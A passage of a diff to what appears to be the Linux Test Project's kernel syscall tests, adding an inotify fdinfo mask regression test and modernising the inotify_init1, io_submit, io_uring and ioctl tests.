struct tst_test test = { + .needs_tmpdir = 1, + .forks_child = 1, + .cleanup = cleanup, + .test_all = verify_inotify, + .tags = (const struct tst_tag[]) { + {"linux-git", "a37d9a17f099"}, + {} + } +}; + +#else + TST_TEST_TCONF("system doesn't have required inotify support"); +#endif diff --git a/testcases/kernel/syscalls/inotify/inotify12.c b/testcases/kernel/syscalls/inotify/inotify12.c new file mode 100644 index 00000000..e658f4ae --- /dev/null +++ b/testcases/kernel/syscalls/inotify/inotify12.c @@ -0,0 +1,168 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 CTERA Networks. All Rights Reserved. + * + * Author: Amir Goldstein + */ + +/*\ + * [Description] + * Test special inotify mask flags. + * + * Regression test for kernel commit: + * a32e697cda27 ("inotify: show inotify mask flags in proc fdinfo") + */ + +#include "config.h" + +#include +#include +#include +#include +#include + +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "inotify.h" + +#if defined(HAVE_SYS_INOTIFY_H) +#include + +#define EVENT_MAX 32 +/* Size of the event structure, not including the name */ +#define EVENT_SIZE (sizeof(struct inotify_event)) +#define EVENT_BUF_LEN (EVENT_MAX * (EVENT_SIZE + 16)) + +#define TEST_FILE "test_file" + +static char event_buf[EVENT_BUF_LEN]; + +static struct tcase { + const char *tname; + unsigned int mask; + int expect_events; +} tcases[] = { + { + "Watch for multi events", + IN_MODIFY, + 2, + }, + { + "Watch for single event", + IN_MODIFY | IN_ONESHOT, + 1, + }, + { + "Watch for events on linked file", + IN_MODIFY | IN_EXCL_UNLINK, + 1, + }, +}; + +static int fd_notify; + +static void verify_inotify(unsigned int n) +{ + struct tcase *tc = &tcases[n]; + int fd, len; + unsigned int tmpmask; + char procfdinfo[100]; + struct inotify_event *event = (struct inotify_event *)event_buf; + + tst_res(TINFO, "Test #%d: %s", n, tc->tname); + + fd_notify = SAFE_MYINOTIFY_INIT1(O_NONBLOCK); + + SAFE_FILE_PRINTF(TEST_FILE, "1"); + + SAFE_MYINOTIFY_ADD_WATCH(fd_notify, ".", tc->mask); + + sprintf(procfdinfo, "/proc/%d/fdinfo/%d", (int)getpid(), fd_notify); + if (FILE_LINES_SCANF(procfdinfo, "inotify wd:%*d ino:%*x sdev:%*x mask:%x", + &tmpmask)) { + tst_res(TFAIL, "Could not parse inotify fdinfo"); + } else if (tmpmask != tc->mask) { + tst_res(TFAIL, "Incorrect mask %x in inotify fdinfo (expected %x)", + tmpmask, tc->mask); + } else { + tst_res(TPASS, "Correct mask in inotify fdinfo"); + } + + fd = SAFE_OPEN(TEST_FILE, O_RDWR); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "2", 1); + + /* + * Read the 1st IN_MODIFY event + */ + len = SAFE_READ(0, fd_notify, event_buf, EVENT_BUF_LEN); + + if (len < (int)sizeof(*event)) { + tst_res(TFAIL, "Got no events"); + } else if (event->mask == IN_MODIFY) { + tst_res(TPASS, "Got 1st event as expected"); + } else { + tst_res(TFAIL, "Got event 0x%x (expected 0x%x)", + event->mask, IN_MODIFY); + } + + /* + * Unlink file so IN_EXCL_UNLINK won't get IN_ACCESS event. + * IN_ONESHOT won't get IN_ACCESS event because IN_MODIFY + * was already generated. + */ + SAFE_UNLINK(TEST_FILE); + SAFE_WRITE(SAFE_WRITE_ALL, fd, "3", 1); + SAFE_CLOSE(fd); + + /* + * Possibly read the 2nd IN_MODIFY event + */ + errno = 0; + len = read(fd_notify, event_buf, EVENT_BUF_LEN); + SAFE_CLOSE(fd_notify); + if (len < 0 && errno == EAGAIN) { + /* Treat no event same as we treat IN_IGNORED */ + event->mask = IN_IGNORED; + } else if (len < (int)sizeof(*event)) { + tst_res(TFAIL | TERRNO, "Failed to read events"); + return; + } + + if (event->mask == IN_MODIFY) { + if (tc->expect_events > 1) + tst_res(TPASS, "Got 2nd event as expected"); + else + tst_res(TFAIL, "Got unexpected 2nd event"); + } else if (event->mask == IN_IGNORED) { + if (tc->expect_events == 1) + tst_res(TPASS, "Got no more events as expected"); + else + tst_res(TFAIL, "Got only one event (expected %d)", + tc->expect_events); + } else { + tst_res(TFAIL, "Got unexpected event 0x%x", + event->mask); + } +} + +static void cleanup(void) +{ + if (fd_notify > 0) + SAFE_CLOSE(fd_notify); +} + +static struct tst_test test = { + .max_runtime = 10, + .needs_tmpdir = 1, + .cleanup = cleanup, + .test = verify_inotify, + .tcnt = ARRAY_SIZE(tcases), + .tags = (const struct tst_tag[]) { + {"linux-git", "a32e697cda27"}, + {} + }, +}; + +#else + TST_TEST_TCONF("system doesn't have required inotify support"); +#endif diff --git a/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c b/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c index f1b50fd4..b2f582f8 100755 --- a/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c +++ b/testcases/kernel/syscalls/inotify_init/inotify_init1_01.c @@ -1,175 +1,41 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) Ulrich Drepper */ -/* Copyright (c) International Business Machines Corp., 2009 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* File: inotify_init1_01.c */ -/* */ -/* Description: This Program tests the new system call introduced in 2.6.27. */ -/* Ulrich´s comment as in: */ -/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=4006553b06306b34054529477b06b68a1c66249b */ -/* says: */ -/* This patch introduces the new syscall inotify_init1 (note: the 1 stands for*/ -/* the one parameter the syscall takes, as opposed to no parameter before). */ -/* The values accepted for this parameter are function-specific and defined in*/ -/* the inotify.h header. Here the values must match the O_* flags, though. */ -/* In this patch CLOEXEC support is introduced. */ -/* The following test must be adjusted for architectures other */ -/* than x86 and x86-64 and in case the syscall numbers changed. */ -/* */ -/* Usage: */ -/* inotify_init1_01 [-c n] [-e][-i n] [-I x] [-p x] [-t] */ -/* where, -c n : Run n copies concurrently. */ -/* -e : Turn on errno logging. */ -/* -i n : Execute test n times. */ -/* -I x : Execute test for x seconds. */ -/* -P x : Pause for x seconds between iterations. */ -/* -t : Turn on syscall timing. */ -/* */ -/* Total Tests: 1 */ -/* */ -/* Test Name: inotify_init1_01 */ -/* */ -/* Author: Ulrich Drepper */ -/* */ -/* History: Created - Jan 13 2009 - Ulrich Drepper */ -/* Ported to LTP */ -/* - Jan 13 2009 - Subrata */ -/******************************************************************************/ -#include -#include -#include -#include - -#include "test.h" -#include "lapi/fcntl.h" +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Ulrich Drepper + * Copyright (c) International Business Machines Corp., 2009 + * Ported to LTP - Jan 13 2009 - Subrata + * Copyright (c) 2022 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] + * + * Verify that inotify_init1() returns a file descriptor and sets + * the close-on-exec (FD_CLOEXEC) flag on the new file descriptor + * only when called with IN_CLOEXEC. + */ + +#include "tst_test.h" #include "lapi/syscalls.h" #define IN_CLOEXEC O_CLOEXEC -char *TCID = "inotify_init1_01"; -int testno; -int TST_TOTAL = 1; - -/* Extern Global Functions */ -/******************************************************************************/ -/* */ -/* Function: cleanup */ -/* */ -/* Description: Performs all one time clean up for this test on successful */ -/* completion, premature exit or failure. Closes all temporary */ -/* files, removes all temporary directories exits the test with */ -/* appropriate return code by calling tst_exit() function. */ -/* */ -/* Input: None. */ -/* */ -/* Output: None. */ -/* */ -/* Return: On failure - Exits calling tst_exit(). Non '0' return code. */ -/* On success - Exits calling tst_exit(). With '0' return code. */ -/* */ -/******************************************************************************/ -void cleanup(void) -{ - - tst_rmdir(); -} - -/* Local Functions */ -/******************************************************************************/ -/* */ -/* Function: setup */ -/* */ -/* Description: Performs all one time setup for this test. This function is */ -/* typically used to capture signals, create temporary dirs */ -/* and temporary files that may be used in the course of this */ -/* test. */ -/* */ -/* Input: None. */ -/* */ -/* Output: None. */ -/* */ -/* Return: On failure - Exits by calling cleanup(). */ -/* On success - returns 0. */ -/* */ -/******************************************************************************/ -void setup(void) +static void run(void) { - /* Capture signals if any */ - /* Create temporary directories */ - TEST_PAUSE; - tst_tmpdir(); + int fd, fd_flags; + + TST_EXP_FD(tst_syscall(__NR_inotify_init1, 0)); + fd = TST_RET; + fd_flags = SAFE_FCNTL(fd, F_GETFD); + TST_EXP_EQ_LI(fd_flags & FD_CLOEXEC, 0); + SAFE_CLOSE(fd); + + TST_EXP_FD(tst_syscall(__NR_inotify_init1, IN_CLOEXEC)); + fd = TST_RET; + fd_flags = SAFE_FCNTL(fd, F_GETFD); + TST_EXP_EQ_LI(fd_flags & FD_CLOEXEC, FD_CLOEXEC); + SAFE_CLOSE(fd); } -int main(int argc, char *argv[]) -{ - int fd, coe; - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, NULL, - "This test can only run on kernels that are 2.6.27 " - "and higher"); - } - setup(); - - for (lc = 0; TEST_LOOPING(lc); ++lc) { - tst_count = 0; - for (testno = 0; testno < TST_TOTAL; ++testno) { - fd = ltp_syscall(__NR_inotify_init1, 0); - if (fd == -1) { - tst_brkm(TFAIL | TERRNO, cleanup, - "inotify_init1(0) failed"); - } - coe = fcntl(fd, F_GETFD); - if (coe == -1) { - tst_brkm(TBROK | TERRNO, cleanup, - "fcntl failed"); - } - if (coe & FD_CLOEXEC) { - tst_brkm(TFAIL, cleanup, - "inotify_init1(0) set close-on-exit"); - } - close(fd); - - fd = ltp_syscall(__NR_inotify_init1, IN_CLOEXEC); - if (fd == -1) { - tst_brkm(TFAIL | TERRNO, cleanup, - "inotify_init1(IN_CLOEXEC) failed"); - } - coe = fcntl(fd, F_GETFD); - if (coe == -1) { - tst_resm(TBROK | TERRNO, "fcntl failed"); - } else if ((coe & FD_CLOEXEC) == 0) { - tst_resm(TFAIL, - "inotify_init1(O_CLOEXEC) did not " - "set close-on-exit"); - } else { - close(fd); - tst_resm(TPASS, "inotify_init1(O_CLOEXEC) " - "PASSED"); - } - } - } - tst_exit(); - cleanup(); -} +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c b/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c index 3b0c7678..3baf35e7 100755 --- a/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c +++ b/testcases/kernel/syscalls/inotify_init/inotify_init1_02.c @@ -1,172 +1,41 @@ -/******************************************************************************/ -/* */ -/* Copyright (c) Ulrich Drepper */ -/* Copyright (c) International Business Machines Corp., 2009 */ -/* */ -/* This program is free software; you can redistribute it and/or modify */ -/* it under the terms of the GNU General Public License as published by */ -/* the Free Software Foundation; either version 2 of the License, or */ -/* (at your option) any later version. */ -/* */ -/* This program is distributed in the hope that it will be useful, */ -/* but WITHOUT ANY WARRANTY; without even the implied warranty of */ -/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See */ -/* the GNU General Public License for more details. */ -/* */ -/* You should have received a copy of the GNU General Public License */ -/* along with this program; if not, write to the Free Software */ -/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* */ -/******************************************************************************/ -/******************************************************************************/ -/* */ -/* File: inotify_init1_02.c */ -/* */ -/* Description: This Program tests the new system call introduced in 2.6.27. */ -/* Ulrich´s comment as in: */ -/* http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=510df2dd482496083e1c3b1a8c9b6afd5fa4c7d7 */ -/* which says: */ -/* This patch adds non-blocking support for inotify_init1. The additional */ -/* changes needed are minimal. The following test must be adjusted for */ -/* architectures other than x86 and x86-64 and in case the syscall numbers */ -/* changed. */ -/* */ -/* Usage: */ -/* inotify_init1_02 [-c n] [-e][-i n] [-I x] [-p x] [-t] */ -/* where, -c n : Run n copies concurrently. */ -/* -e : Turn on errno logging. */ -/* -i n : Execute test n times. */ -/* -I x : Execute test for x seconds. */ -/* -P x : Pause for x seconds between iterations. */ -/* -t : Turn on syscall timing. */ -/* */ -/* Total Tests: 1 */ -/* */ -/* Test Name: inotify_init1_02 */ -/* */ -/* Author: Ulrich Drepper */ -/* */ -/* History: Created - Jan 13 2009 - Ulrich Drepper */ -/* Ported to LTP */ -/* - Jan 13 2009 - Subrata */ -/******************************************************************************/ -#include -#include -#include -#include - -#include "test.h" -#include "lapi/fcntl.h" +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) Ulrich Drepper + * Copyright (c) International Business Machines Corp., 2009 + * Ported to LTP - Jan 13 2009 - Subrata + * Copyright (c) 2022 SUSE LLC Avinesh Kumar + */ + +/*\ + * [Description] + * + * Verify that inotify_init1() returns a file descriptor and sets the + * O_NONBLOCK file status flag on the open file description referred + * to by the new file descriptor only when called with IN_NONBLOCK. + */ + +#include "tst_test.h" #include "lapi/syscalls.h" #define IN_NONBLOCK O_NONBLOCK -char *TCID = "inotify_init1_02"; -int testno; -int TST_TOTAL = 1; - -/* Extern Global Functions */ -/******************************************************************************/ -/* */ -/* Function: cleanup */ -/* */ -/* Description: Performs all one time clean up for this test on successful */ -/* completion, premature exit or failure. Closes all temporary */ -/* files, removes all temporary directories exits the test with */ -/* appropriate return code by calling tst_exit() function. */ -/* */ -/* Input: None. */ -/* */ -/* Output: None. */ -/* */ -/* Return: On failure - Exits calling tst_exit(). Non '0' return code. */ -/* On success - Exits calling tst_exit(). With '0' return code. */ -/* */ -/******************************************************************************/ -void cleanup(void) -{ - - tst_rmdir(); -} - -/* Local Functions */ -/******************************************************************************/ -/* */ -/* Function: setup */ -/* */ -/* Description: Performs all one time setup for this test. This function is */ -/* typically used to capture signals, create temporary dirs */ -/* and temporary files that may be used in the course of this */ -/* test. */ -/* */ -/* Input: None. */ -/* */ -/* Output: None. */ -/* */ -/* Return: On failure - Exits by calling cleanup(). */ -/* On success - returns 0. */ -/* */ -/******************************************************************************/ -void setup(void) +static void run(void) { - /* Capture signals if any */ - /* Create temporary directories */ - TEST_PAUSE; - tst_tmpdir(); + int fd, flags; + + TST_EXP_FD(tst_syscall(__NR_inotify_init1, 0)); + fd = TST_RET; + flags = SAFE_FCNTL(fd, F_GETFL); + TST_EXP_EQ_LI(flags & O_NONBLOCK, 0); + SAFE_CLOSE(fd); + + TST_EXP_FD(tst_syscall(__NR_inotify_init1, IN_NONBLOCK)); + fd = TST_RET; + flags = SAFE_FCNTL(fd, F_GETFL); + TST_EXP_EQ_LI(flags & O_NONBLOCK, O_NONBLOCK); + SAFE_CLOSE(fd); } -int main(int argc, char *argv[]) -{ - int fd, fl; - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - if ((tst_kvercmp(2, 6, 27)) < 0) { - tst_brkm(TCONF, NULL, - "This test can only run on kernels that are 2.6.27 " - "and higher"); - } - setup(); - - for (lc = 0; TEST_LOOPING(lc); ++lc) { - tst_count = 0; - for (testno = 0; testno < TST_TOTAL; ++testno) { - fd = ltp_syscall(__NR_inotify_init1, 0); - if (fd == -1) { - tst_brkm(TFAIL | TERRNO, cleanup, - "inotify_init1(0) failed"); - } - fl = fcntl(fd, F_GETFL); - if (fl == -1) { - tst_brkm(TBROK | TERRNO, cleanup, - "fcntl failed"); - } - if (fl & O_NONBLOCK) { - tst_brkm(TFAIL, cleanup, - "inotify_init1(0) set non-blocking " - "mode"); - } - close(fd); - - fd = ltp_syscall(__NR_inotify_init1, IN_NONBLOCK); - if (fd == -1) { - tst_brkm(TFAIL | TERRNO, cleanup, - "inotify_init1(IN_NONBLOCK) failed"); - } - fl = fcntl(fd, F_GETFL); - if (fl == -1) { - tst_brkm(TBROK | TERRNO, cleanup, - "fcntl failed"); - } - if ((fl & O_NONBLOCK) == 0) { - tst_brkm(TFAIL, cleanup, - "inotify_init1(IN_NONBLOCK) set " - "non-blocking mode"); - } - close(fd); - tst_resm(TPASS, "inotify_init1(IN_NONBLOCK) PASSED"); - } - } - tst_exit(); -} +static struct tst_test test = { + .test_all = run, +}; diff --git a/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c b/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c index a0b56d81..0525221e 100755 --- a/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c +++ b/testcases/kernel/syscalls/io_pgetevents/io_pgetevents01.c @@ -28,12 +28,6 @@ static void setup(void) tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc); } -static void cleanup(void) -{ - if (fd > 0) - SAFE_CLOSE(fd); -} - static void run(void) { struct time64_variants *tv = &variants[tst_variant]; @@ -71,6 +65,8 @@ static void run(void) if (io_destroy(ctx) < 0) tst_brk(TBROK | TERRNO, "io_destroy() failed"); + + SAFE_CLOSE(fd); } static struct tst_test test = { @@ -78,7 +74,6 @@ static struct tst_test test = { .test_all = run, .test_variants = ARRAY_SIZE(variants), .needs_tmpdir = 1, - .cleanup = cleanup, .setup = setup, }; diff --git a/testcases/kernel/syscalls/io_submit/io_submit01.c b/testcases/kernel/syscalls/io_submit/io_submit01.c index 28d93d7f..616380b9 100755 --- a/testcases/kernel/syscalls/io_submit/io_submit01.c +++ b/testcases/kernel/syscalls/io_submit/io_submit01.c @@ -79,9 +79,11 @@ static void setup(void) { TEST(io_setup(1, &ctx)); if (TST_RET == -ENOSYS) - tst_brk(TCONF | TRERRNO, "io_setup(): AIO not supported by kernel"); - else if (TST_RET) - tst_brk(TBROK | TRERRNO, "io_setup() failed"); + tst_brk(TCONF, "io_setup(): AIO not supported by kernel"); + else if (TST_RET) { + tst_brk(TBROK, "io_setup() returned %ld(%s)", + TST_RET, tst_strerrno(-TST_RET)); + } io_prep_pread(&inv_fd_iocb, -1, buf, sizeof(buf), 0); @@ -114,13 +116,19 @@ static const char *errno_name(int err) static void verify_io_submit(unsigned int n) { struct tcase *t = &tcases[n]; - int ret; + struct io_event evbuf; + struct timespec timeout = { .tv_sec = 1 }; + int i, ret; ret = io_submit(*t->ctx, t->nr, t->iocbs); if (ret == t->exp_errno) { tst_res(TPASS, "io_submit() with %s failed with %s", t->desc, errno_name(t->exp_errno)); + + for (i = 0; i < ret; i++) + io_getevents(*t->ctx, 1, 1, &evbuf, &timeout); + return; } diff --git a/testcases/kernel/syscalls/io_submit/io_submit02.c b/testcases/kernel/syscalls/io_submit/io_submit02.c index acb42cb8..6ba4d99a 100755 --- a/testcases/kernel/syscalls/io_submit/io_submit02.c +++ b/testcases/kernel/syscalls/io_submit/io_submit02.c @@ -70,12 +70,21 @@ static void cleanup(void) static void run(unsigned int i) { + struct io_event evbuf; + struct timespec timeout = { .tv_sec = 1 }; + long j; + TEST(tst_syscall(__NR_io_submit, *tc[i].ctx, tc[i].nr, tc[i].iocbs)); if (TST_RET == tc[i].nr) tst_res(TPASS, "io_submit() %s", tc[i].desc); else - tst_res(TFAIL, "io_submit() returns %ld, expected %ld", TST_RET, tc[i].nr); + tst_res(TFAIL | TTERRNO, "io_submit() returns %ld, expected %ld", TST_RET, tc[i].nr); + + for (j = 0; j < TST_RET; j++) { + tst_syscall(__NR_io_getevents, *tc[i].ctx, 1, 1, &evbuf, + &timeout); + } } static struct tst_test test = { diff --git a/testcases/kernel/syscalls/io_uring/io_uring01.c b/testcases/kernel/syscalls/io_uring/io_uring01.c index 70151bb8..ab1ec00d 100755 --- a/testcases/kernel/syscalls/io_uring/io_uring01.c +++ b/testcases/kernel/syscalls/io_uring/io_uring01.c @@ -264,5 +264,10 @@ static struct tst_test test = { .bufs = (struct tst_buffers []) { {&iov, .iov_sizes = (int[]){BLOCK_SZ, -1}}, {} + }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/io_uring_disabled", "0", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} } }; diff --git a/testcases/kernel/syscalls/io_uring/io_uring02.c b/testcases/kernel/syscalls/io_uring/io_uring02.c index c5c77007..c9d4bbcb 100755 --- a/testcases/kernel/syscalls/io_uring/io_uring02.c +++ b/testcases/kernel/syscalls/io_uring/io_uring02.c @@ -255,6 +255,11 @@ static struct tst_test test = { TST_CAP(TST_CAP_REQ, CAP_SYS_CHROOT), {} }, + .save_restore = (const struct tst_path_val[]) { + {"/proc/sys/kernel/io_uring_disabled", "0", + TST_SR_SKIP_MISSING | TST_SR_TCONF_RO}, + {} + }, .tags = (const struct tst_tag[]) { {"linux-git", "9392a27d88b9"}, {"linux-git", "ff002b30181d"}, diff --git a/testcases/kernel/syscalls/ioctl/Makefile b/testcases/kernel/syscalls/ioctl/Makefile index c2ff6c8e..1d40f5e0 100755 --- a/testcases/kernel/syscalls/ioctl/Makefile +++ b/testcases/kernel/syscalls/ioctl/Makefile @@ -7,6 +7,8 @@ include $(top_srcdir)/include/mk/testcases.mk INSTALL_TARGETS += test_ioctl +ioctl01: LDLIBS+=-lutil + ifeq ($(ANDROID),1) FILTER_OUT_MAKE_TARGETS += ioctl02 endif diff --git a/testcases/kernel/syscalls/ioctl/ioctl01.c b/testcases/kernel/syscalls/ioctl/ioctl01.c index 26b603eb..c84a72b9 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl01.c +++ b/testcases/kernel/syscalls/ioctl/ioctl01.c @@ -2,112 +2,90 @@ /* * Copyright (c) International Business Machines Corp., 2001 * Copyright (c) 2020 Petr Vorel + * Copyright (c) Linux Test Project, 2002-2023 * 07/2001 Ported by Wayne Boyer * 04/2002 Fixes by wjhuie + */ + +/*\ + * [Description] * - * Testcase to check the errnos set by the ioctl(2) system call. + * Testcase to check the errnos set by the ioctl(2) system call. * - * ALGORITHM - * 1. EBADF: Pass an invalid fd to ioctl(fd, ..) and expect EBADF. - * 2. EFAULT: Pass an invalid address of arg in ioctl(fd, .., arg) - * 3. EINVAL: Pass invalid cmd in ioctl(fd, cmd, arg) - * 4. ENOTTY: Pass an non-streams fd in ioctl(fd, cmd, arg) - * 5. EFAULT: Pass a NULL address for termio + * - EBADF: Pass an invalid fd to ioctl(fd, ...) and expect EBADF + * - EFAULT: Pass an invalid address of arg in ioctl(fd, ..., arg) + * - EINVAL: Pass invalid cmd in ioctl(fd, cmd, arg) + * - ENOTTY: Pass an non-streams fd in ioctl(fd, cmd, arg) + * - EFAULT: Pass a NULL address for termio */ #include #include #include #include +#include #include "tst_test.h" #include "lapi/ioctl.h" #define INVAL_IOCTL 9999999 +static int amaster, aslave; static int fd, fd_file; static int bfd = -1; static struct termio termio; +static struct termios termios; static struct tcase { + const char *desc; int *fd; int request; - struct termio *s_tio; + void *s_tio; int error; } tcases[] = { - /* file descriptor is invalid */ - {&bfd, TCGETA, &termio, EBADF}, - /* termio address is invalid */ - {&fd, TCGETA, (struct termio *)-1, EFAULT}, - /* command is invalid */ + {"File descriptor is invalid (termio)", &bfd, TCGETA, &termio, EBADF}, + {"File descriptor is invalid (termios)", &bfd, TCGETS, &termios, EBADF}, + {"Termio address is invalid", &fd, TCGETA, (struct termio *)-1, EFAULT}, + {"Termios address is invalid", &fd, TCGETS, (struct termios *)-1, EFAULT}, /* This errno value was changed from EINVAL to ENOTTY * by kernel commit 07d106d0 and bbb63c51 */ - {&fd, INVAL_IOCTL, &termio, ENOTTY}, - /* file descriptor is for a regular file */ - {&fd_file, TCGETA, &termio, ENOTTY}, - /* termio is NULL */ - {&fd, TCGETA, NULL, EFAULT} + {"Command is invalid", &fd, INVAL_IOCTL, &termio, ENOTTY}, + {"File descriptor is for a regular file (termio)", &fd_file, TCGETA, &termio, ENOTTY}, + {"File descriptor is for a regular file (termios)", &fd_file, TCGETS, &termios, ENOTTY}, + {"Termio is NULL", &fd, TCGETA, NULL, EFAULT}, + {"Termios is NULL", &fd, TCGETS, NULL, EFAULT} }; -static char *device; - static void verify_ioctl(unsigned int i) { - TEST(ioctl(*(tcases[i].fd), tcases[i].request, tcases[i].s_tio)); - - if (TST_RET != -1) { - tst_res(TFAIL, "call succeeded unexpectedly"); - return; - } - - if (TST_ERR != tcases[i].error) { - tst_res(TFAIL | TTERRNO, - "failed unexpectedly; expected %s", - tst_strerrno(tcases[i].error)); - return; - } - - tst_res(TPASS | TTERRNO, "failed as expected"); + TST_EXP_FAIL(ioctl(*(tcases[i].fd), tcases[i].request, tcases[i].s_tio), + tcases[i].error, "%s", tcases[i].desc); } static void setup(void) { - unsigned int i; - - if (!device) - tst_brk(TBROK, "You must specify a tty device with -D option"); - - fd = SAFE_OPEN(device, O_RDWR, 0777); - - if (tst_kvercmp(3, 7, 0) < 0) { - for (i = 0; i < ARRAY_SIZE(tcases); i++) { - if (tcases[i].request == INVAL_IOCTL) - tcases[i].error = EINVAL; - } - } + if (openpty(&amaster, &aslave, NULL, NULL, NULL) < 0) + tst_brk(TBROK | TERRNO, "unable to open pty"); + fd = amaster; fd_file = SAFE_OPEN("x", O_CREAT, 0777); } static void cleanup(void) { - if (fd > 0) - SAFE_CLOSE(fd); - + if (amaster > 0) + SAFE_CLOSE(amaster); + if (aslave > 0) + SAFE_CLOSE(aslave); if (fd_file > 0) SAFE_CLOSE(fd_file); } static struct tst_test test = { - .needs_root = 1, .needs_tmpdir = 1, .setup = setup, .cleanup = cleanup, .test = verify_ioctl, - .tcnt = ARRAY_SIZE(tcases), - .options = (struct tst_option[]) { - {"D:", &device, "Tty device. For example, /dev/tty[0-9]"}, - {} - } + .tcnt = ARRAY_SIZE(tcases) }; diff --git a/testcases/kernel/syscalls/ioctl/ioctl03.c b/testcases/kernel/syscalls/ioctl/ioctl03.c index 3d4ac3e2..5a7a0a6a 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl03.c +++ b/testcases/kernel/syscalls/ioctl/ioctl03.c @@ -40,6 +40,10 @@ #define IFF_NAPI_FRAGS 0x0020 #endif +#ifndef IFF_NO_CARRIER +#define IFF_NO_CARRIER 0x0040 +#endif + static struct { unsigned int flag; const char *name; @@ -51,7 +55,8 @@ static struct { {IFF_VNET_HDR, "VNET_HDR"}, {IFF_MULTI_QUEUE, "MULTI_QUEUE"}, {IFF_NAPI, "IFF_NAPI"}, - {IFF_NAPI_FRAGS, "IFF_NAPI_FRAGS"} + {IFF_NAPI_FRAGS, "IFF_NAPI_FRAGS"}, + {IFF_NO_CARRIER, "IFF_NO_CARRIER"} }; static void verify_features(void) diff --git a/testcases/kernel/syscalls/ioctl/ioctl08.c b/testcases/kernel/syscalls/ioctl/ioctl08.c index f7d11815..b877bf2a 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl08.c +++ b/testcases/kernel/syscalls/ioctl/ioctl08.c @@ -55,8 +55,8 @@ static void verify_ioctl(unsigned int n) fd_src = SAFE_OPEN(FILE_SRC_PATH, O_RDWR | O_CREAT, 0664); fd_dest = SAFE_OPEN(FILE_DEST_PATH, O_RDWR | O_CREAT, 0664); - SAFE_WRITE(1, fd_src, tc->src_fcontents, strlen(tc->src_fcontents)); - SAFE_WRITE(1, fd_dest, tc->dest_fcontents, strlen(tc->dest_fcontents)); + SAFE_WRITE(SAFE_WRITE_ALL, fd_src, tc->src_fcontents, strlen(tc->src_fcontents)); + SAFE_WRITE(SAFE_WRITE_ALL, fd_dest, tc->dest_fcontents, strlen(tc->dest_fcontents)); memset(fdr, 0, sizeof(struct file_dedupe_range) + sizeof(struct file_dedupe_range_info)); diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop01.c b/testcases/kernel/syscalls/ioctl/ioctl_loop01.c index cf71184b..734d803d 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop01.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop01.c @@ -1,24 +1,24 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU LIMITED. All rights reserved. + * Copyright (c) Linux Test Project, 2020-2022 * Author: Yang Xu + */ + +/*\ + * [Description] * - * This is a basic ioctl test about loopdevice. - * It is designed to test LO_FLAGS_AUTOCLEAR and LO_FLAGS_PARTSCAN flag. + * Tests ioctl() on loopdevice with LO_FLAGS_AUTOCLEAR and LO_FLAGS_PARTSCAN flags. * - * For LO_FLAGS_AUTOCLEAR flag, we only check autoclear field value in sys - * directory and also get lo_flags by using LOOP_GET_STATUS. + * For LO_FLAGS_AUTOCLEAR flag, only checks autoclear field value in sysfs + * and also gets lo_flags by using LOOP_GET_STATUS. * * For LO_FLAGS_PARTSCAN flag, it is the same as LO_FLAGS_AUTOCLEAR flag. - * But we also check whether we can scan partition table correctly ie check + * But also checks whether it can scan partition table correctly i.e. checks * whether /dev/loopnp1 and /sys/bloclk/loop0/loop0p1 existed. * * For LO_FLAGS_AUTOCLEAR flag, it can be clear. For LO_FLAGS_PARTSCAN flag, - * it cannot be clear. We also check this. - * - * It is also a regression test for kernel - * commit 10c70d95c0f2 ("block: remove the bd_openers checks in blk_drop_partitions") - * commit 6ac92fb5cdff ("loop: Fix wrong masking of status flags"). + * it cannot be clear. Test checks this. */ #include diff --git a/testcases/kernel/syscalls/ioctl/ioctl_loop02.c b/testcases/kernel/syscalls/ioctl/ioctl_loop02.c index ac618421..12d4e823 100755 --- a/testcases/kernel/syscalls/ioctl/ioctl_loop02.c +++ b/testcases/kernel/syscalls/ioctl/ioctl_loop02.c @@ -1,18 +1,21 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2020 FUJITSU 